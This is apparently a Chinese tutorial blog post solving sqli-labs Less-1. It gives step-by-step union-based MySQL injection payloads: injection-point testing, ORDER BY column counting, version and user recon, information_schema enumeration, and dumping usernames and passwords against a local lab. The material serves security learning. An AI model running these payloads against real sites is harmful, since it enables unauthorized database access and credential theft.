#mysql简要注入流程

mysql注入简要流程如下图:

由于还没学习完先结合sqlilabs的第一关讲解信息收集的一部分和数据注入的information_schema的有据查询。

#sqli-labs之Less-1

1.判断是否有注入点

老方法:

and 1=1 页面正常

and 1=2 页面错误

说明可能存在注入点

最舒服的方法:

参数后面随便输入,被解析但未出现404可能存在注入。

若出现404页面说明没有注入点。

http://127.0.0.1/sqli-labs/Less-1/?id=1 --+

页面正常:

参数后面随便输:http://127.0.0.1/sqli-labs/Less-1/?id=1323424 --+

被解析,未报错,说明存在注入点

2.判断注入

猜解列名数量(字段数):order by x(为可变变量) 找出错误与正确的临界值

http://127.0.0.1/sqli-labs/Less-1/?id=1' order by 3 --+

http://127.0.0.1/sqli-labs/Less-1/?id=1' order by 4 --+

由上图可知字段数为3。

3.报错猜解准备

?id=-1' union select 1,2,3 --+

由图可知,2,3位置可进行回显。

4.信息收集

数据库版本:version()

数据库用户:user()

数据库名字:database()

操作系统:@@version_compile_os

数据库版本及数据库用户:

数据库名字及操作系统:

5.查询指定数据库的表名信息

必要知识点:

在mysql5.0及以上版本中mysql存在自带的数据库名information_schema,它是一个存记录有所有数据名、表名、列名的数据库。也就相当于可以查询它获取指定数据库下的表名列名信息。

数据库中符号“.”代表下一级,如a.b表示数据库a下的b表。

information_schema.tables:记录所有表名信息的表

information_schema.columns:记录所有列名信息的表

table_schema:数据库名

table_name:表名

column_name:列名

查询security数据库下的表名信息:

http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,table_name,3 from information_schema.tables where table_schema='security' --+

所有表名信息:

http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

可知有4张表分别是:emails,referers,uagents,users

6.查询指定表名下的列名信息

由上可推测用户信息可能在users表中

查询users表下的列名信息:

http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+

可知users表中的字段为username和password

7.查询指定数据

查询users表中的数据:

http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,username,password from users limit 0,1--+

猜解多个数据可使用limit x,1(变动猜解)

可知一共有13条数据

sql注入之简要注入的更多相关文章

  1. 十二:SQL注入之简要注入

    SQL注入漏洞将是重点漏洞,分为数据库类型,提交方法,数据类型等方式.此类漏洞是WEB漏洞中的核心漏洞,学习如何的利用,挖掘,和修复是重要的. SQL注入的危害 SQL注入的原理 可控变量,带入数据库 ...

  2. 注入攻击-SQL注入和代码注入

    注入攻击 OWASP将注入攻击和跨站脚本攻击(XSS)列入网络应用程序十大常见安全风险.实际上,它们会一起出现,因为 XSS 攻击依赖于注入攻击的成功.虽然这是最明显的组合关系,但是注入攻击带来的不仅 ...

  3. sql工具和手工注入总结

    普通注入: 数字注入 字符注入 base64注入:和常规的方法没有说明区别,主要是解码然后编码: 如果普通注入不行,尝试大小写绕过,编码等绕过: 如果不行尝试盲注: POST注入 0x00 常用的 注 ...

  4. StringEscapeUtils的常用使用,防止SQL注入及XSS注入

    StringEscapeUtils的常用使用,防止SQL注入及XSS注入 2017年10月20日 11:29:44 小狮王 阅读数:8974   版权声明:本文为博主原创文章,转载请注明出处. htt ...

  5. 【网络安全】SQL注入、XML注入、JSON注入和CRLF注入科普文

    目录 SQL注入 一些寻找SQL漏洞的方法 防御SQL注入 SQL注入相关的优秀博客 XML注入 什么是XML注入 预防XML注入 JSON注入 什么是JSON注入 JSON注入的防御 CRLF注入 ...

  6. SQL注入:POST注入

    POST注入简介 POST注入属于注入的一种,相信大家在之前的课程中都知道POST\GET两种传参方式. POST注入就是使用POST进行传参的注入,本质上和GET类型的没什么区别. POST注入高危 ...

  7. Go语言SQL注入和防注入

    Go语言SQL注入和防注入 一.SQL注入是什么 SQL注入是一种注入攻击手段,通过执行恶意SQL语句,进而将任意SQL代码插入数据库查询,从而使攻击者完全控制Web应用程序后台的数据库服务器.攻击者 ...

  8. 基础Web漏洞-SQL注入入门(手工注入篇)

    一.什么是SQL注入  SQL是操作数据库数据的结构化查询语言,网页的应用数据和后台数据库中的数据进行交互时会采用SQL.而SQL注入是将Web页面的原URL.表单域或数据包输入的参数,修改拼接成SQ ...

  9. SQL注入之堆叠注入(堆查询注入)

    Stached injection -- 堆叠注入 0x00 堆叠注入的定义 ​ Stacked injection 汉语翻译过来后,称 为堆查询注入,也有称之为堆叠注入.堆叠注入为攻击者提供了很多的 ...

随机推荐

  1. Solution -「洛谷 P4372」Out of Sorts P

    \(\mathcal{Description}\)   OurOJ & 洛谷 P4372(几乎一致)   设计一个排序算法,设现在对 \(\{a_n\}\) 中 \([l,r]\) 内的元素排 ...

  2. shell脚本部署redis以及redis主从复制和redis-cluster集群

    # 关于脚本: # 使用root用户执行此脚本,提前关闭selinux: # 执行脚本之前,hostsIP内的IP修改成自己的机器IP: # hostsIp内的IP数量如果有增加或者减少,for循环的 ...

  3. 【自动化测试框架】pytest和unitttest你知道多少?区别在哪?该用哪个?

    一.大家熟知的自动化测试框架 Java JUnit.TestNG等等. python PyUnit(unittest).Pytest.Robot Framework等等 二.Pytest介绍 pyte ...

  4. JAVA8学习——从使用角度深入Stream流(学习过程)

    Stream 流 初识Stream流 简单认识一下Stream:Stream类中的官方介绍: /** * A sequence of elements supporting sequential an ...

  5. Python中特殊函数__str__()

    在类中定义了__str__(self)方法,那么当使用print打印实例对象的时候,就会直接打印出在这个方法中return的数据. 案列: 1 class Book: 2 3 def __init__ ...

  6. 『德不孤』Pytest框架 — 4、Pytest跳过测试用例

    目录 1.无条件跳过skip 2.有条件跳过skipif 3.练习 自动化测试执行过程中,我们常常出现这种情况:因为功能阻塞,未实现或者环境有问题等等原因,一些用例执行不了, 如果我们注释掉或删除掉这 ...

  7. MShadow中的表达式模板

    表达式模板是Eigen.GSL和boost.uBLAS等高性能C++矩阵库的核心技术.本文基于MXNet给出的教程文档来阐述MXNet所依赖的高性能矩阵库MShadow背后的原理. 编写高效的机器学习 ...

  8. RainbowCrack彩虹表破解密码hash

    实验目的 使用彩虹表破解散列值b0baee9d279d34fa1dfd71aadb908c3f 实验原理 1)彩虹表破解是利用彩虹表破解散列数据的工具. 这种方法不同于暴力破解攻击.暴力破解攻击会将密 ...

  9. .Net Core之JWT授权

    一.什么是JWT 文章参考:https://www.leo96.com/article/detail/55 JSON Web令牌(JWT)是一个开放标准(RFC 7519),它定义 了一种紧凑且自包含 ...

  10. Spring Cloud Sleuth 和 Zipkin 进行分布式跟踪使用指南

    分布式跟踪允许您跟踪分布式系统中的请求.本文通过了解如何使用 Spring Cloud Sleuth 和 Zipkin 来做到这一点. 对于一个做所有事情的大型应用程序(我们通常将其称为单体应用程序) ...